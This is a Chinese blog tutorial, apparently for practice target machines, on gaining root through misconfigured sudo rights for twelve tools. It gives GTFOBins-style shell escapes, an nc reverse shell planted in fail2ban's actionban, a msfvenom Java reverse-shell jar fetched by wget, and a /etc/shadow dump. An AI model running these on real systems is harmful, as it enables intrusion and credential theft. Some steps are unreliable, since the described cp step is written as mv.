渗透测试:Linux提权精讲(二)之sudo方法第二期

news2024/11/15 20:00:57

目录

写在开头

sudo expect

sudo fail2ban

sudo find

sudo flock

sudo ftp

sudo gcc

sudo gdb

sudo git

sudo gzip/gunzip

sudo iftop

sudo hping3

sudo java

总结与思考

写在开头

 本文在上一篇博客的基础上继续讲解渗透测试的sudo提权方法。相关内容的介绍与背景详见:

渗透测试:Linux提权精讲(一)之sudo方法第一期_Bossfrank的博客-CSDN博客

 本文将在红队笔记大佬讲解与GTFOBins开源项目(详见GTFOBins)的基础上,继续对Linux系统靶机的sudo提权方式进行简要总结。这里还是首先给出红队笔记大佬的视频链接:

「红队笔记」Linux提权精讲:Sudo风暴 - Sudo风暴第1部分,扫地僧级别心法,研究提权技术的同时,打磨你对linux内核的深度理解。渗透测试宝典。_哔哩哔哩_bilibili

 文末的总结与思考模块会对本篇涉及到的提权方法进行分类,并总结sudo提权的思路与逻辑,未必描述的完全恰当,仅是我的个人理解,也欢迎读者评论与私信共同探讨。

sudo expect

漏洞利用前提 

当前用户可以以sudo高级权限运行expect指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/expect

  详情可见expect | GTFOBins

 expect命令可以模拟用户的输入,将需要用户交互的操作自动化完成,可用于脚本和其他自动化环境之中。

操作方式 

sudo expect -c 'spawn /bin/bash;interact'

其参数-c可之间添加脚本代码,而不是从文件中读取代码。spawn /bin/bash用于生成bash环境,用;interact指定是交互的shell,运行即可提权。从expect的利用也可以看出,很多可执行文件的sudo提权方式都是依靠其能够以高权限的身份指定配置文件或运行系统命令

sudo fail2ban

漏洞利用前提 

当前用户可以以sudo高级权限运行expect指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /etc/init.d/fail2ban

 fail2ban是一个用于防御的工具,可以用于针对暴力破解密码的攻击。比如当ssh登录时多次密码错误,就会触发fail2ban的操作,短暂封禁登录的ip,短时期内无法再进行密码尝试。

操作方式 

首先我们要知道fail2ban工具的目录在哪里,可以用find进行查找:

find -name "fail2ban*" -type d 2>/dev/null

 结果显示有好几个目录,大概可以判断fail2ban的目录是/etc/fail2ban,我们查看其目录下的配置文件是否可写:

find /etc/fail2ban -writable -type d 2>/dev/null

 结果显示为:/etc/fail2ban/action.d,也就是说配置文件action.d是可写的(该目录详细规定了当触发ban时执行的操作)。在linux的目录结构中,若以.d为名称结尾,通常说明该目录是一些脚本文件。我们进入/etc/fail2ban/action.d后,发现其中有配置文件iptables-multport.conf,该文件规定了当ssh登录在短时间内多次错误尝试触发ban行为后执行的操作,查看这个文件的属性(ls -liah iptables-multport.conf)如下:

345817  -rw-r--r--  1  root  root  1.5k  May  22  15:24  iptables-multport.conf

可发现所属主和所属组都是root,文件的权限属性为644,而我们目前仅仅是一个普通的shell用户, 无法直接对该文件进行编辑修改。但是由于iptables-multport.conf所在目录/etc/fail2ban/action.d是可写的,我们可以在当前目录创建和删除文件,通过如下的操作实现对iptables-multport.conf的可写。首先通过mv将iptables-multport.conf文件重命名为iptables-multport.conf.bak:

mv iptables-multport.conf iptables-multport.conf.bak

执行此操作后,/etc/fail2ban/action.d目录下就没有iptables-multport.conf文件了,而有一个备份文件iptables-multport.conf.bak,这个iptables-multport.conf.bak文件与先前的iptables-multport.conf文件具有相同的文件属性(mv操作并不会创建新文件,仅仅是修改原文件的位置或名字,文件的权限并不会改变,所属主和所属组均为root),我们再把这个iptables-multport.conf.bak文件进行复制,并命名为iptables-multport.conf:

mv iptables-multport.conf.bak iptables-multport.conf

这样目录中就又有iptables-multport.conf了,此时由于cp操作的特性(以当前用户的权限创建新文件),我们查看iptables-multport.conf这个文件的属性(ls -liah iptables-multport.conf),可以发现所属主和所属组都变为了当前用户jackie:

345123  -rw-r--r--  1  jackie  jackie  1.5k  May  22  15:54  iptables-multport.conf

此时我们就能够编辑iptables-multport.conf了,vim查看并编辑,在其中发现触发ban后执行的操作是actionban = 操作。我们讲这个操作修改为提权的逻辑,比如反弹shell,即修改后的iptables-multport.conf了文件中actionban所在行内容如下:

actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc kali的ip 1234 > /tmp/f

修改完成后:wq报错推出,再次sudo重启fail2ban服务,保证我们修改的iptables-multport.conf生效:

sudo /etc/init.d/fail2ban restart 

然后进行kali中nc监听刚刚反弹shell的端口1234:

nc -lvnp 1234

最后我们只要再次ssh尝试登录jackie这个账户,并故意短时间内快速多次用错误密码尝试(具体需要多快可以查看文件/etc/fail2ban/jail.conf,里面写了10s内尝试5次就会触发ban。但我们只要尽可能的快速多次输入错误密码即可),触发actionban操作,即可触发反弹shell。

利用fail2ban的操作看似复杂,其实核心就是我们修改了fail2ban触发ban后执行的逻辑(改为了反弹shell),然后故意错误密码短时间多次尝试触发ban,利用fail2ban的sudo权限,触发ban后执行了我们指定的反弹shell操作。利用的难点在于:

1.必须知道fail2ban是干啥的,其中的配置文件在哪里,触发ban后的action的操作命令在哪里。

2.Linux系统的权限逻辑:配置文件iptables-multport.conf本身是不可编辑的(权限为644,当前用户无法编辑),但iptables-multport.conf所在目录action.d是可写的,我们利用mv和cp命令的权限逻辑,最终使得当前用户jackie对iptables-multport.conf具有可写权限。

sudo find

漏洞利用前提 

当前用户可以以sudo高级权限运行find指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/find

  详情可见find | GTFOBins

操作方式 

sudo find . -exec /bin/bash \; -quit

运行上述命令即可提权。用find命令随便在某个目录查找,比如当前目录.,然后添加参数-exec执行bash(/bin/bash不会对find找到的文件进行任何处理),其中的分号;表示-exec执行命令的结束位置,分号;前面的\是转义符,对分号;进行了转义,如果不加转义符/,则分号;会被解释为命令行的语句分割符,会使得-exec找不到命令执行的结束位置。

sudo flock

漏洞利用前提 

当前用户可以以sudo高级权限运行flock指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/flock

  flock本身是一个linux系统中管理文件锁定的实用程序,协调多个进程对文件系统的访问,避免多个进程同时访问一个资源导致问题。利用详情可见flock | GTFOBins

操作方式 

sudo flock -u / /bin/bash

 运行即可提权。-u参数表示解锁(unlock),此处为解锁根目录/的文件,并用/bin/bash来操作,该指令会启动/bin/bash会话,从而实现提权。

sudo ftp

漏洞利用前提 

 当前用户可以以sudo高级权限运行ftp指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/ftp

  利用详情可见flock | GTFOBins

操作方式 

sudo ftp
!/bin/sh

运行即可提权,逻辑显然,利用ftp的交互命令行启动系统的bash。

sudo gcc

漏洞利用前提 

 当前用户可以以sudo高级权限运行gcc编译指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/gcc

  利用详情可见gcc | GTFOBins

操作方式 

sudo gcc -wrapper /bin/bash,-s .

 运行即可提权。用-wrapper指定包装器,在包装器中添加启动shell的指令,,-s是bash的参数,指定从标准输入读取命令,保证读取到EOF时不会退出,点.表示编译的内容,此时我们并不关心编译啥,随便给个当前目录.即可。

sudo gdb

gdb | GTFOBins漏洞利用前提 

 当前用户可以以sudo高级权限运行gdb编译指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/gdb

  gdb是GNU debugger的缩写,是源代码级别的调试器,主要用于C/C++的程序调试。利用详情可见gdb | GTFOBins

操作方式

sudo gdb -nx -ex '!bash' -ex quit

运行即可提权,其中-nx表示启动时不读取执行任何配置文件,-ex表示执行指令,感叹号!表示执行的是系统命令,执行完之后再执行退出(-ex quit)。 

sudo git

漏洞利用前提 

 当前用户可以以sudo高级权限运行git指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/git

  利用详情可见git | GTFOBins

操作方式

sudo git branch --help
!/bin/bash

 通过查看帮助时调用了类似less的机制实现了提权,在查看帮助时可以输入感叹号!执行系统命令。该方法与在less中提权是很相似的。

sudo gzip/gunzip

漏洞利用前提 

 当前用户可以以sudo高级权限运行压缩/解压缩gzip/gunzip指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/gzip

(root) NOPASSWD: /usr/bin/gunzip

  利用详情可见gzip | GTFOBins

操作方式

sudo gzip -f /etc/shadow -t

 运行后会暴露/etc/shadow文件的内容,然后再用john破解即可,我的上一篇博客有类似的利用,比如sudo apache2,详见渗透测试:Linux提权精讲(一)之sudo方法第一期_Bossfrank的博客-CSDN博客

其中-t表示检查压缩文件,在进行检查的时候就会读取并显示对应文件,从而暴露了敏感文件/etc/shadow, -f表示force强制执行,保证程序可以正常执行。gunzip的利用方式完全一致。

sudo iftop

漏洞利用前提 

 当前用户可以以sudo高级权限运行iftop指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/sbin/iftop

  iftop是一个命令行形式的网络流量监控工具,用于实时显示某个网络接口的带宽使用情况,可以显示实时视图。利用详情可见iftop | GTFOBins

 操作方式

sudo iftop
!/bin/bash

 通过输入!告诉工具要执行系统命令,然后启动bash提权。

sudo hping3

漏洞利用前提 

 当前用户可以以sudo高级权限运行网络工具hping3指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/sbin/hping3

  hping3是一个非常强大的网络工具,主要用于分析测试网络环境,生成各种类型的数据包。利用详情可见hping3 | GTFOBins

操作方式

sudo hping3
/bin/bash

 利用方式和sudo ftp类似,工具都有自带的命令行,在自带的命令行中运行系统命令,启动bash即可提权。 

sudo java

漏洞利用前提 

 当前用户可以以sudo高级权限运行java,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/java

遇到这种运行主流语言作为sudo的指令时,首先考虑采用该语言本身的反弹shell指令提权。 

操作方式

思路就是,写一个java的反弹shell(shell.jar),然后再靶机中执行java -jar shell.jar即可,我们此处用kali自带的msfvenom生成java的反弹shell:

msfvenom -p java/shell_reverse_tcp LHOST=kali的ip LPORT=1234 -f jar -o shell.jar

然后把这个文件传到靶机上,传统思路,当前目录开启http服务:

php -S 0:80

然后在靶机中把这个shell.jar给他wget下来:

wget http://kali的ip/shell.jar

然后靶机中运行即可(注意kali中先要开启nc -lvnp 1234):

java -jar shell.jar

总结与思考

 本文介绍了12种常见的sudo提权方式,主要还是利用了系统对可执行文件/工具的高权限配置,使得低权限的用户(初始靶机shell)能够以root权限sudo免密执行高权限的指令。相信通过本文的介绍,希望读者能够对提权的本质:低权限用户因为某种原因(配置/漏洞)能够运行高权限的指令/工具/脚本,有更为直观的理解。最后决定还是将本文的12种提权方式强行来一个归类总结,纯属个人理解,如果有总结不到位的地方还请读者多多指出。

可直接执行系统命令:sudo expect, sudo find, sudo gdb

利用工具运行时触发的脚本:sudo fail2ban

利用工具的某些可以启动shell的参数:sudo flock, sudo gcc

交互命令行可执行系统命令:sudo ftp, sudo itop, sudo hping3

敏感文件泄露:sudo gzip/gunzip

类似在less环境执行系统命令:sudo git

某种语言(编写反弹shell):sudo java

 这篇博客到这里就结束了,总结真的不易,还请读者多多点赞关注支持! 本文所提到的提权方式我暂未全部实践过,可能还需要长期的渗透测试打靶与实践才能遇到这么多种情况吧。近期我将继续总结有关Linux提权相关的方法、也会继续坚持打靶,还望读者多多支持。 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/817591.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

RISC-V公测平台发布 · 如何在SG2042上玩转k3s

前言 Kubernetes是一个开源的容器管理平台,通过Kubernetes的跨集群管理功能,用户可以方便地进行应用程序的复制、迁移和跨云平台的部署。 而k3s作为Kubernetes的轻量级发行版,相比传统的Kubernetes具有更小的二进制文件大小和更低的资源消耗…

在简历上写了“精通”后,拥有工作经验的我被面试官问到窒息

前言 如果有真才实学,写个精通可以让面试官眼前一亮! 如果是瞎写?基本就要被狠狠地虐一把里! 最近在面试,我现在十分后悔在简历上写了“精通”二字… 先给大家看看我简历上的技能列表: 熟悉软件测试理论基…

数据存储需求骤变,联想凌拓多招齐发推动数以致用

有人说,数据存储决定着未来数字化转型的深度。深以为然。 今年以来,千行百业的用户们愈发意识到数据存储的重要性。无论是席卷全球的生成式AI浪潮,需要存储“投喂”各种非结构化数据;还是多云环境下,用户们对于数据自…

ODIN_1靶机详解

ODIN_1靶机复盘 下载地址:https: //download.vulnhub.com/odin/odin.ova 靶场很简单,一会儿就打完了。 靶场说明里提醒说加一个dns解析。 我们在/etc/hosts加一条解析 就能正常打开网站了,要么网站打开css是乱的。 这里看到结尾就猜测肯定…

全网最全讲的最详细的多线程原理

在我们开始讲多线程之前,我们先来了解一下什么是进程,什么是线程。进程和线程是操作系统中两个容易混淆的概念。 进程 在Windows操作系统中打开任务管理器,可以查看进程和线程的详细信息。也可以使用专业的进程查看小软件——Process Explo…

适合做笔记的软件有哪些?8款好用强大的笔记软件推荐!

除了Goodnotes和Notability,你还知道哪些值得推荐的免费笔记软件吗?本文结合自己的使用经验,推荐笔记软件的同时,亦推荐一些不错的绘图软件供大家选择使用。 1.OneNote 基本的笔记功能都有,加粗、倾斜、下划线、突…

【RL】我的强化学习代理

一、说明 强化学习代理是一个自主决策的人工智能智能系统,它通过与环境进行交互,通过试错学习,逐步优化其行为以实现其目标。这种代理能够学习如何在环境中进行行为,以实现预期的目标。代理可以通过尝试不同的行为来评估其对环境的…

1.2.2最长上升子序列模型(二)

1.拦截导弹 某国为了防御敌国的导弹袭击,发展出一种导弹拦截系统。 但是这种导弹拦截系统有一个缺陷:虽然它的第一发炮弹能够到达任意的高度,但是以后每一发炮弹都不能高于前一发的高度。 某天,雷达捕捉到敌国的导弹来袭。 由…

最全的3D动画软件介绍来了!良心总结9款3D动画制作必备软件

现在,市面上流行着的3D动画软件如此之多,以至于很难敲定到底哪一款更适合自己或自己的团队。本篇文章带来了一些热门的、被视为行业标准的3D动画软件的介绍,帮助您更好地做出选择。 不仅如此,您还能从文章中了解到在数字内容创建…

移动应用项目架构设计

一、项目整体架构设计 按照分层的架构思想,从下到上分为ShareLib(共享库)层、Core(核心功能)层、Business(业务逻辑)层、App(应用展示)层。 架构优势: 严格控制各层的职责范围,使得底层库实现工程间复用且无缝替换,上层业务无感知…

垃圾焚烧设备PLC数据采集远程监控系统解决方案

PLC可以应用于各种污染废物处理设备的自动化控制,如污水处理、垃圾焚烧、空气处理等。例如,通过对垃圾焚烧PLC设备的数据采集,可以实现对垃圾焚烧的温度、时间、氧气流量等数据的远程监控和实时预警,有效提高垃圾焚烧效率和环保效…

使用机器学习进行疾病预测 -- 机器学习项目基础篇(3)

本文旨在实现一个强大的机器学习模型,可以根据他/她所拥有的症状有效地预测人类的疾病。让我们看看如何解决这个机器学习问题: 方法: 收集数据:数据准备是任何机器学习问题的主要步骤。我们将使用来自Kaggle的数据集来解决这个问…

C语言——静态库和动态库的创建和使用

使用库函数是源码的一种保护 库函数其实不是新鲜的东西,我们一直都在用,比如C库。我们执行pringf() 这个函数的时候,就是调用C库的函数. 下面记录静态库和动态库的生成和使用. 静态库:libxxx.a 动态库:libxxx.so 静态库: 在程序编译的时候,将库编译进可执行程序中, 运行的…

【Unity学习笔记】生命周期

文章目录 脚本的生命周期初始化更新顺序动画更新循环各类事件结束阶段 阶段分析协程返回 总结 官方文档:事件函数的执行顺序 脚本的生命周期 如图: 脚本的生命周期主要经历以下几个阶段: 初始化 初始化阶段,(包括初…

RISC-V 指令集介绍

1. 背景介绍 指令集从本质上可以分为复杂指令集(Complex Instruction Set Computer,CISC)和精简指令集(Reduced Instruction Set Computer,RISC)两种。复杂指令集的特点是能够在一条指令内完成很多事情。 指…

1400*A. Factory

Examples input 1 5 output No input 3 6 output Yes 题意: a 和 m,a 不断加 a%m ,如果 a 有一次能够被 m 整除,则打印 Yes,如果一直循环永远不可能被 m 整除,则打印 No 解析: 可以观…

BUU CODE REVIEW 1

BUU CODE REVIEW 1 考点&#xff1a;PHP变量引用 源码直接给了 <?phphighlight_file(__FILE__);class BUU {public $correct "";public $input "";public function __destruct() {try {$this->correct base64_encode(uniqid());if($this->c…

数据库中RIGHT_TYPE=3和RIGHT_TYPE=“3“的区别

G_USERINFO表归档条件SQL错误&#xff0c; RIGHT_RIGHT_TYPE3应改为RIGHT_TYPE"3"&#xff0c; 该字段为字符类型 在Oracle中&#xff0c;类型&#xff08;type&#xff09;通常是指数据库中的表、视图、索引、存储过程、函数等对象的的数据类型或结构。在比较类型&a…

解决:h5的<video>在移动端浏览器无法自动播放

并不是所有的移动端浏览器都无法自动播放&#xff0c;下载谷歌、火狐、edge等都可以正常播放&#xff0c;目前发现夸克浏览器无法自动播放。即autoplay属性失效。 <video autoplay"autoplay"></video> 可能移动端有移动端的策略&#xff0c;但解决夸克…

C++标识符的作用域与可见性

标识符是一个由程序员定义的名称&#xff0c;为标识区别变量、函数和数据类型等&#xff0c;代表程序的某些元素&#xff0c;变量名就是标识符的一个展现。 作用域讨论的是标识符的有效范围&#xff0c;可见性讨论的是标识符是否可以被引用。在一个函数中声明的变量就只能在这个…